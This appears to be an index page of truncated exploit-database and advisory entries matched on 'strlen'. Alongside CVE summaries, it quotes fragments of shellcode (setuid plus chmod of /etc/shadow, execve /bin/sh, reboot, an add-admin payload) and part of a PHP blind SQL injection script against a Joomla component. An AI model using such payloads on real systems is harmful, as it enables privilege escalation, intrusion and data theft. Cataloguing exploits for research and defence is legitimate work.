CVE-2017-7226

The peILFobjectp function in the Binary File Descriptor BFD library aka libbfd, as distributed in GNU Binutils 2.28, is vulnerable to a heap-based buffer over-read of size 4049 because it uses the strlen function instead of strnlen, leading to program crashes in several utilities such as addr2lin...

Paragon Initiative Enterprises: Not using Binary::safe* functions for substr/strlen function

Several places in the code don't use Binary::safe or CryptoUtil::safe functions, but use raw functions instead strlen/substr which can act as mbfuncname instead not count bytes for strlen/etc... 1...

linux/x86 Shellcode Polymorphic - setuid(0) + chmod("/etc/shadow", 0666) Shellcode 61 Bytes

No description provided by source. / ============================================================================================= linux/x86 Shellcode Polymorphic - setuid0 + chmod/etc/shadow, 0666 Shellcode 61 Bytes...

Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes

No description provided by source. / Linux/SuperH - sh4 - setuid0 ; execve/bin/sh, NULL, NULL - 27 bytes Tested on debian-sh4 2.6.32-5-sh7751r by Jonathan Salwan - twitter: @jonathansalwan 400054: 17 e3 mov 23,r3 400056: 4a 24 xor r4,r4 400058: 0b c3 trapa 11 40005a: 3a 23 xor r3,r3 40005c: 0b e3...

Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes

No description provided by source. / Title: Linux/ARM - execve/bin/sh, 0, 0 vars - 27 bytes Date: 2010-08-31 Tested on: ARM926EJ-S rev 5 v5l Author: Jonathan Salwan - twitter: @jonathansalwan shell-storm.org Shellcode ARM with not a 0x20, 0x0a and 0x00 Disassembly of section .text: 00008054 start...

os-x/ppc sync(), reboot() 32 bytes

No description provided by source. / MacOSX/PowerPC Shellcode for: sync, reboot 32 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include stdio.h include string.h char shellcode = \x7c\x63\x1a\x79 \x39\x40\x01\x06 \x38\x0a\xff\x1e \x44\xff\xff\x02 \x60\x60\x60\x60 \x39\x40\x01\x19...

Icinga -- buffer overflow in classic web interface

The Icinga Team reports: Wrong strlen check against MAXINPUTBUFFER without taking '\0' into account...

win32/PerfectXp-pc1/sp3 Tr Add Admin Shellcode 112 bytes

win32/PerfectXp-pc1/sp3 Tr Add Admin Shellcode 112 bytes. Shellcode exploit for win32 platform Title : win32/PerfectXp-pc1/sp3 Tr Add Admin Shellcode 112 bytes Author : KaHPeSeSe Screenshot : http://i53.tinypic.com/289yamq.jpg Desc. : usr: kpss , pass: 12345 , localgroup: Administrator Tested on ...

Polymorphic /bin/sh x86 linux shellcode

Polymorphic /bin/sh x86 linux shellcode. Shellcode exploit for linx86 platform / Title : Polymorphic /bin/sh x86 linux shellcode . Name : 116 bytes /bin/sh x86 linux polymorphic shellcode . Date : Tue Jun 29 22:08:59 WIT 2010 . Author : gunslinger Web : http://devilzc0de.org blog :...

iRehearse (.m3u File) Local Buffer Overflow PoC

Exploit for unknown platform in category dos / poc =============================================== iRehearse .m3u File Local Buffer Overflow PoC =============================================== !/usr/bin/perl iRehearse m3u local stack overlow POC finded by opt!x hacker download :...

cscope security update

15.5-10.RHEL4.3 - Merge incdir-overflow and snprintf patches for better readability, snprintf is used now with PATHLEN limit without other adjustments, related strlen / %.s / len are no longer needed and were dropped - Update tempsec patch, drop extraneous snprintf argument to suppress compiler...

Joomla! Component com_digistore - 'pid' Blind SQL Injection

1 $url = $argv1; $r = strlenfilegetcontents$url."+and+1=1--"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0--"; $t = abs100-$w/$r100; echo "Username: "; for $i=1; $i $t-1 $count = $i; $i = 30; for $j = 1; $j $t-1 $laenge = strlenfilegetcontents$url."+and+asciisubstri...

OSX/PPC - execve(/bin/sh,[/bin/sh],NULL) + exit() Shellcode (72 bytes)

OSX/PPC - execve/bin/sh,/bin/sh,NULL + exit Shellcode 72 bytes. Shellcode exploit for OSXPPC platform / MacOSX/PowerPC Shellcode for: execve"/bin/sh", "/bin/sh", NULL, exit 72 bytes hophet at gmail.com http://www.nlabs.com.br/hophet/ / include "stdio.h" include "string.h" char shellcode =...

webdesproxy 0.0.1 - exec-shield GET Remote Code Execution

webdesproxy 0.0.1 - exec-shield GET Remote Code Execution / Fedora Core 6 exec-shield based Webdesproxy webdesproxy-0.0.1.tgz remote root exploit reverse connect-back method by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL:...